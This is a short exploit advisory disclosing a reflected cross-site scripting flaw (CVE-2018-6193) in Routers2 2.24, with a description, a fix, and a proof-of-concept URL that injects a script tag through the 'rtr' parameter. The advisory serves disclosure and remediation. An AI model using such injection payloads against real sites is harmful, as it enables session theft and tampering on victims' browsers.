Routers2 2.24 - Cross-Site Scripting

# Exploit Title: Routers2 2.24 - Reflected Cross-Site Scripting
# Date: 18-01-18
# Vendor Homepage: http://www.steveshipway.org/software/
# Software Link: https://github.com/sshipway/routers2
# Version: 2.24
# CVE: CVE-2018-6193
# Platform: Perl
# Category: webapps
# Exploit Author: Lorenzo Di Fuccia
# Contact: [email protected]
# Website: https://github.com/lorenzodifuccia

1. Description

Routers2 is vulnerable to Reflected Cross-Site Scripting, affecting the 'rtr' GET parameter in a page=graph action to `cgi-bin/routers2.pl`.

2. Proof of Concept

http://router.com/cgi-bin/routers2.pl?rtr=--><script>alert("XSS")</script>&bars=Cami&xgtype=d&page=graph&xgstyle=l2&xmtype=routers

3. Solution

Update the program cloning the repo from GitHub or disable the 'paranoia' setting in the web section of the `routers2.conf`.

4. References

https://github.com/sshipway/routers2/issues/1